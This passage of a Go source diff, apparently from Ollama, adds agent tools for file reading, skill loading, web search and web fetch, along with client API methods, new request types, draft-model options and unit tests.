result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"start_line": 3,
|
||||
"line_count": 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != "three\nfour\n" {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRejectsInvalidLineRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"line_range": "4-2",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected invalid range to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "line_range end") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type Skill struct {
|
||||
catalog *skills.Catalog
|
||||
}
|
||||
|
||||
func NewSkill(catalog *skills.Catalog) *Skill {
|
||||
return &Skill{catalog: catalog}
|
||||
}
|
||||
|
||||
func (s *Skill) Name() string {
|
||||
return "skill"
|
||||
}
|
||||
|
||||
func (s *Skill) Description() string {
|
||||
return "Load the full SKILL.md instructions for an installed agent skill by name."
|
||||
}
|
||||
|
||||
func (s *Skill) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("name", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Name of the skill to load.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: s.Name(),
|
||||
Description: s.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Required: []string{"name"},
|
||||
Properties: props,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
name, _ := args["name"].(string)
|
||||
name = skills.NormalizeName(name)
|
||||
if name == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("name parameter is required")
|
||||
}
|
||||
if s.catalog == nil || s.catalog.Empty() {
|
||||
return agent.ToolResult{}, fmt.Errorf("no skills are installed")
|
||||
}
|
||||
|
||||
skill, ok := s.catalog.Find(name)
|
||||
if !ok {
|
||||
return agent.ToolResult{}, fmt.Errorf("unknown skill: %s", name)
|
||||
}
|
||||
content, err := SkillResultContent(skill)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
return agent.ToolResult{Content: content}, nil
|
||||
}
|
||||
|
||||
func ManualSkillMessages(skill skills.Skill, request string, ordinal int) ([]api.Message, error) {
|
||||
content, err := SkillResultContent(skill)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("name", skill.Name)
|
||||
callID := manualSkillToolCallID(skill.Name, ordinal)
|
||||
|
||||
userContent := strings.TrimSpace(request)
|
||||
if userContent == "" {
|
||||
userContent = fmt.Sprintf("Use the %s skill.", skill.Name)
|
||||
}
|
||||
|
||||
return []api.Message{
|
||||
{Role: "user", Content: userContent},
|
||||
{
|
||||
Role: "assistant",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: callID,
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "skill",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
},
|
||||
{Role: "tool", ToolName: "skill", ToolCallID: callID, Content: content},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func SkillResultContent(skill skills.Skill) (string, error) {
|
||||
content, err := skill.Read()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString("Loaded skill: ")
|
||||
b.WriteString(skill.Name)
|
||||
b.WriteByte('\n')
|
||||
b.WriteString("Skill directory: ")
|
||||
b.WriteString(skill.Dir)
|
||||
b.WriteString("\nResolve relative file references from the skill directory.\n\n")
|
||||
b.WriteString(content)
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
func manualSkillToolCallID(skillName string, ordinal int) string {
|
||||
name := strings.Trim(strings.Map(func(r rune) rune {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z':
|
||||
return r
|
||||
case r >= 'A' && r <= 'Z':
|
||||
return r
|
||||
case r >= '0' && r <= '9':
|
||||
return r
|
||||
case r == '-' || r == '_':
|
||||
return r
|
||||
default:
|
||||
return '-'
|
||||
}
|
||||
}, skillName), "-")
|
||||
if name == "" {
|
||||
name = "skill"
|
||||
}
|
||||
if ordinal <= 0 {
|
||||
return "manual-skill-" + name
|
||||
}
|
||||
return fmt.Sprintf("manual-skill-%d-%s", ordinal, name)
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
)
|
||||
|
||||
func TestSkillToolLoadsSkill(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
skillDir := filepath.Join(dir, "go-code")
|
||||
if err := os.MkdirAll(skillDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(skillDir, skills.SkillFile), []byte("---\nname: go-code\ndescription: Write Go code.\n---\n\n# Go Code\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalog, err := skills.Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewSkill(catalog).Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "go-code"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "Loaded skill: go-code") || !strings.Contains(result.Content, "# Go Code") {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestManualSkillMessagesUseToolCallShape(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
skillDir := filepath.Join(dir, "go-code")
|
||||
if err := os.MkdirAll(skillDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(skillDir, skills.SkillFile), []byte("---\nname: go-code\ndescription: Write Go code.\n---\n\n# Go Code\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
catalog, err := skills.Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
skill, ok := catalog.Find("go-code")
|
||||
if !ok {
|
||||
t.Fatal("skill not found")
|
||||
}
|
||||
|
||||
messages, err := ManualSkillMessages(skill, "write a test", 7)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(messages) != 3 {
|
||||
t.Fatalf("messages = %d, want 3", len(messages))
|
||||
}
|
||||
if messages[0].Role != "user" || messages[0].Content != "write a test" {
|
||||
t.Fatalf("user message = %#v", messages[0])
|
||||
}
|
||||
if messages[1].Role != "assistant" || len(messages[1].ToolCalls) != 1 {
|
||||
t.Fatalf("assistant tool call = %#v", messages[1])
|
||||
}
|
||||
call := messages[1].ToolCalls[0]
|
||||
if call.ID != "manual-skill-7-go-code" || call.Function.Name != "skill" {
|
||||
t.Fatalf("tool call = %#v", call)
|
||||
}
|
||||
if name, _ := call.Function.Arguments.Get("name"); name != "go-code" {
|
||||
t.Fatalf("tool args = %s", call.Function.Arguments.String())
|
||||
}
|
||||
if messages[2].Role != "tool" || messages[2].ToolName != "skill" || messages[2].ToolCallID != call.ID {
|
||||
t.Fatalf("tool result metadata = %#v", messages[2])
|
||||
}
|
||||
if !strings.Contains(messages[2].Content, "Loaded skill: go-code") || !strings.Contains(messages[2].Content, "# Go Code") {
|
||||
t.Fatalf("tool result = %q", messages[2].Content)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrWebSearchAuthRequired = errors.New("web search requires authentication")
|
||||
ErrWebFetchAuthRequired = errors.New("web fetch requires authentication")
|
||||
)
|
||||
|
||||
const (
|
||||
maxWebFetchContentRunes = 60_000
|
||||
webSearchTimeout = 15 * time.Second
|
||||
webFetchTimeout = 30 * time.Second
|
||||
)
|
||||
|
||||
type WebSearch struct{}
|
||||
|
||||
func NewWebSearch() *WebSearch {
|
||||
return &WebSearch{}
|
||||
}
|
||||
|
||||
func (w *WebSearch) Name() string {
|
||||
return "web_search"
|
||||
}
|
||||
|
||||
func (w *WebSearch) Description() string {
|
||||
return "Search the web for current information that may not be in the model's training data."
|
||||
}
|
||||
|
||||
func (w *WebSearch) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("query", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The search query to look up on the web.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: w.Name(),
|
||||
Description: w.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"query"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
if internalcloud.Disabled() {
|
||||
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
|
||||
}
|
||||
query, ok := args["query"].(string)
|
||||
if !ok || strings.TrimSpace(query) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("query parameter is required")
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
|
||||
defer cancel()
|
||||
|
||||
searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) {
|
||||
return agent.ToolResult{}, ErrWebSearchAuthRequired
|
||||
}
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
if len(searchResp.Results) == 0 {
|
||||
return agent.ToolResult{Content: "No results found for query: " + query}, nil
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
|
||||
for i, result := range searchResp.Results {
|
||||
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
|
||||
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
|
||||
if result.Content != "" {
|
||||
content := []rune(result.Content)
|
||||
if len(content) > 300 {
|
||||
content = append(content[:300], []rune("...")...)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", string(content)))
|
||||
}
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String()}, nil
|
||||
}
|
||||
|
||||
type WebFetch struct{}
|
||||
|
||||
func NewWebFetch() *WebFetch {
|
||||
return &WebFetch{}
|
||||
}
|
||||
|
||||
func (w *WebFetch) Name() string {
|
||||
return "web_fetch"
|
||||
}
|
||||
|
||||
func (w *WebFetch) Description() string {
|
||||
return "Fetch and extract text content from a web page."
|
||||
}
|
||||
|
||||
func (w *WebFetch) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("url", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The URL to fetch and extract content from.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: w.Name(),
|
||||
Description: w.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"url"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
if internalcloud.Disabled() {
|
||||
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
|
||||
}
|
||||
urlStr, ok := args["url"].(string)
|
||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("url parameter is required")
|
||||
}
|
||||
if _, err := url.Parse(urlStr); err != nil {
|
||||
return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
|
||||
defer cancel()
|
||||
|
||||
fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
|
||||
if err != nil {
|
||||
var authErr api.AuthorizationError
|
||||
if errors.As(err, &authErr) {
|
||||
return agent.ToolResult{}, ErrWebFetchAuthRequired
|
||||
}
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
if fetchResp.Title != "" {
|
||||
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
|
||||
}
|
||||
if fetchResp.Content != "" {
|
||||
sb.WriteString("Content:\n")
|
||||
sb.WriteString(truncateWebFetchContent(fetchResp.Content))
|
||||
} else {
|
||||
sb.WriteString("No content could be extracted from the page.")
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String()}, nil
|
||||
}
|
||||
|
||||
func truncateWebFetchContent(content string) string {
|
||||
runes := []rune(content)
|
||||
if len(runes) <= maxWebFetchContentRunes {
|
||||
return content
|
||||
}
|
||||
omitted := len(runes) - maxWebFetchContentRunes
|
||||
return string(runes[:maxWebFetchContentRunes]) + fmt.Sprintf(
|
||||
"\n\n[tool output truncated: showing first ~%d tokens; omitted ~%d tokens. Use a narrower request or search query if more detail is needed.]",
|
||||
approximateToolTokensFromRunes(maxWebFetchContentRunes),
|
||||
approximateToolTokensFromRunes(omitted),
|
||||
)
|
||||
}
|
||||
|
||||
func approximateToolTokensFromRunes(n int) int {
|
||||
if n <= 0 {
|
||||
return 0
|
||||
}
|
||||
return max(1, (n+3)/4)
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestWebToolsDoNotRequireApproval(t *testing.T) {
|
||||
if coreagent.ToolRequiresApproval(NewWebSearch(), map[string]any{"query": "ollama"}) {
|
||||
t.Fatal("web search should not require approval")
|
||||
}
|
||||
if coreagent.ToolRequiresApproval(NewWebFetch(), map[string]any{"url": "https://ollama.com"}) {
|
||||
t.Fatal("web fetch should not require approval")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/experimental/web_fetch" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
|
||||
}
|
||||
var req api.WebFetchRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if req.URL != "https://ollama.com" {
|
||||
t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
|
||||
Title: "Ollama",
|
||||
Content: strings.Repeat("x", maxWebFetchContentRunes+25),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
t.Setenv("OLLAMA_HOST", ts.URL)
|
||||
|
||||
result, err := NewWebFetch().Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
|
||||
"url": "https://ollama.com",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
|
||||
!strings.Contains(result.Content, "omitted ~7 tokens") ||
|
||||
!strings.Contains(result.Content, "Use a narrower request or search query") {
|
||||
t.Fatalf("content missing truncation marker: %q", result.Content)
|
||||
}
|
||||
if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
|
||||
t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
|
||||
}
|
||||
}
|
||||
@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
|
||||
}
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -469,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
|
||||
return &status, nil
|
||||
}
|
||||
|
||||
// WebSearchExperimental searches the web through the local server's
|
||||
// experimental web search endpoint.
|
||||
func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
|
||||
var resp WebSearchResponse
|
||||
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// WebFetchExperimental fetches web page content through the local server's
|
||||
// experimental web fetch endpoint.
|
||||
func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
|
||||
var resp WebFetchResponse
|
||||
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// Signout will signout a client for a local ollama server.
|
||||
func (c *Client) Signout(ctx context.Context) error {
|
||||
return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
@@ -192,6 +193,35 @@ func TestClientStream(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientStreamReportsReadErrors(t *testing.T) {
|
||||
client := NewClient(
|
||||
&url.URL{Scheme: "http", Host: "example.com"},
|
||||
&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
body := failingReader{
|
||||
data: []byte(`{"message":{"content":"partial"}}` + "\n"),
|
||||
err: io.ErrUnexpectedEOF,
|
||||
}
|
||||
|
||||
return &http.Response{
|
||||
StatusCode: http.StatusOK,
|
||||
Status: "200 OK",
|
||||
Body: io.NopCloser(&body),
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
})},
|
||||
)
|
||||
|
||||
err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
|
||||
return nil
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected stream read error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
|
||||
t.Fatalf("expected unexpected EOF, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientDo(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
@@ -320,3 +350,99 @@ func TestClientDo(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
|
||||
var gotPath string
|
||||
var gotMethod string
|
||||
var gotRequest WebSearchRequest
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotPath = r.URL.Path
|
||||
gotMethod = r.Method
|
||||
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(WebSearchResponse{
|
||||
Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost {
|
||||
t.Fatalf("method = %q, want POST", gotMethod)
|
||||
}
|
||||
if gotPath != "/api/experimental/web_search" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
|
||||
}
|
||||
if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
|
||||
t.Fatalf("request = %#v", gotRequest)
|
||||
}
|
||||
if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
|
||||
t.Fatalf("response = %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
|
||||
var gotPath string
|
||||
var gotMethod string
|
||||
var gotRequest WebFetchRequest
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotPath = r.URL.Path
|
||||
gotMethod = r.Method
|
||||
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(WebFetchResponse{
|
||||
Title: "Ollama",
|
||||
Content: "models",
|
||||
Links: []string{"https://ollama.com/library"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost {
|
||||
t.Fatalf("method = %q, want POST", gotMethod)
|
||||
}
|
||||
if gotPath != "/api/experimental/web_fetch" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
|
||||
}
|
||||
if gotRequest.URL != "https://ollama.com" {
|
||||
t.Fatalf("request = %#v", gotRequest)
|
||||
}
|
||||
if resp.Title != "Ollama" || resp.Content != "models" {
|
||||
t.Fatalf("response = %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
type roundTripFunc func(*http.Request) (*http.Response, error)
|
||||
|
||||
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return f(req)
|
||||
}
|
||||
|
||||
type failingReader struct {
|
||||
data []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *failingReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) > 0 {
|
||||
n := copy(p, r.data)
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
return 0, r.err
|
||||
}
|
||||
+72
-17
@@ -600,12 +600,13 @@ type Options struct {
|
||||
|
||||
// Runner options which must be set when the model is loaded into memory
|
||||
type Runner struct {
|
||||
NumCtx int `json:"num_ctx,omitempty"`
|
||||
NumBatch int `json:"num_batch,omitempty"`
|
||||
NumGPU int `json:"num_gpu,omitempty"`
|
||||
MainGPU int `json:"main_gpu,omitempty"`
|
||||
UseMMap *bool `json:"use_mmap,omitempty"`
|
||||
NumThread int `json:"num_thread,omitempty"`
|
||||
NumCtx int `json:"num_ctx,omitempty"`
|
||||
NumBatch int `json:"num_batch,omitempty"`
|
||||
NumGPU int `json:"num_gpu,omitempty"`
|
||||
MainGPU *int `json:"main_gpu,omitempty"`
|
||||
UseMMap *bool `json:"use_mmap,omitempty"`
|
||||
NumThread int `json:"num_thread,omitempty"`
|
||||
DraftNumPredict int `json:"draft_num_predict,omitempty"`
|
||||
}
|
||||
|
||||
// EmbedRequest is the request passed to [Client.Embed].
|
||||
@@ -672,6 +673,9 @@ type CreateRequest struct {
|
||||
// Quantize is the quantization format for the model; leave blank to not change the quantization level.
|
||||
Quantize string `json:"quantize,omitempty"`
|
||||
|
||||
// DraftQuantize is the quantization format for the draft model.
|
||||
DraftQuantize string `json:"draft_quantize,omitempty"`
|
||||
|
||||
// From is the name of the model or file to use as the source.
|
||||
From string `json:"from,omitempty"`
|
||||
|
||||
@@ -681,6 +685,9 @@ type CreateRequest struct {
|
||||
// Files is a map of files include when creating the model.
|
||||
Files map[string]string `json:"files,omitempty"`
|
||||
|
||||
// DraftFiles is a map of draft model files to include when creating the model.
|
||||
DraftFiles map[string]string `json:"draft_files,omitempty"`
|
||||
|
||||
// Adapters is a map of LoRA adapters to include when creating the model.
|
||||
Adapters map[string]string `json:"adapters,omitempty"`
|
||||
|
||||
@@ -861,6 +868,36 @@ type StatusResponse struct {
|
||||
Cloud CloudStatus `json:"cloud"`
|
||||
}
|
||||
|
||||
// WebSearchRequest is the request for [Client.WebSearchExperimental].
|
||||
type WebSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// WebSearchResult is a single result from [Client.WebSearchExperimental].
|
||||
type WebSearchResult struct {
|
||||
Title string `json:"title"`
|
||||
URL string `json:"url"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
// WebSearchResponse is the response from [Client.WebSearchExperimental].
|
||||
type WebSearchResponse struct {
|
||||
Results []WebSearchResult `json:"results"`
|
||||
}
|
||||
|
||||
// WebFetchRequest is the request for [Client.WebFetchExperimental].
|
||||
type WebFetchRequest struct {
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// WebFetchResponse is the response from [Client.WebFetchExperimental].
|
||||
type WebFetchResponse struct {
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
Links []string `json:"links,omitempty"`
|
||||
}
|
||||
|
||||
// GenerateResponse is the response passed into [GenerateResponseFunc].
|
||||
type GenerateResponse struct {
|
||||
// Model is the model name that generated the response.
|
||||
@@ -1049,14 +1086,25 @@ func (opts *Options) FromMap(m map[string]any) error {
|
||||
}
|
||||
field.Set(reflect.ValueOf(slice))
|
||||
case reflect.Pointer:
|
||||
var b bool
|
||||
if field.Type() == reflect.TypeOf(&b) {
|
||||
switch field.Type().Elem().Kind() {
|
||||
case reflect.Bool:
|
||||
val, ok := val.(bool)
|
||||
if !ok {
|
||||
return fmt.Errorf("option %q must be of type boolean", key)
|
||||
}
|
||||
field.Set(reflect.ValueOf(&val))
|
||||
} else {
|
||||
case reflect.Int:
|
||||
var i int
|
||||
switch t := val.(type) {
|
||||
case int64:
|
||||
i = int(t)
|
||||
case float64:
|
||||
i = int(t)
|
||||
default:
|
||||
return fmt.Errorf("option %q must be of type integer", key)
|
||||
}
|
||||
field.Set(reflect.ValueOf(&i))
|
||||
default:
|
||||
return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
|
||||
}
|
||||
default:
|
||||
@@ -1089,11 +1137,12 @@ func DefaultOptions() Options {
|
||||
|
||||
Runner: Runner{
|
||||
// options set when the model is loaded
|
||||
NumCtx: int(envconfig.ContextLength()),
|
||||
NumBatch: 512,
|
||||
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
|
||||
NumThread: 0, // let the runtime decide
|
||||
UseMMap: nil,
|
||||
NumCtx: int(envconfig.ContextLength()),
|
||||
NumBatch: 512,
|
||||
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
|
||||
NumThread: 0, // let the runtime decide
|
||||
DraftNumPredict: 4,
|
||||
UseMMap: nil,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1297,14 +1346,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
|
||||
// TODO: only string slices are supported right now
|
||||
out[key] = vals
|
||||
case reflect.Pointer:
|
||||
var b bool
|
||||
if field.Type() == reflect.TypeOf(&b) {
|
||||
switch field.Type().Elem().Kind() {
|
||||
case reflect.Bool:
|
||||
boolVal, err := strconv.ParseBool(vals[0])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid bool value %s", vals)
|
||||
}
|
||||
out[key] = &boolVal
|
||||
} else {
|
||||
case reflect.Int:
|
||||
intVal, err := strconv.ParseInt(vals[0], 10, 64)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid int value %s", vals)
|
||||
}
|
||||
out[key] = intVal
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
|
||||
}
|
||||
default:
|
||||
|
||||
@@ -20,6 +20,10 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
|
||||
return props
|
||||
}
|
||||
|
||||
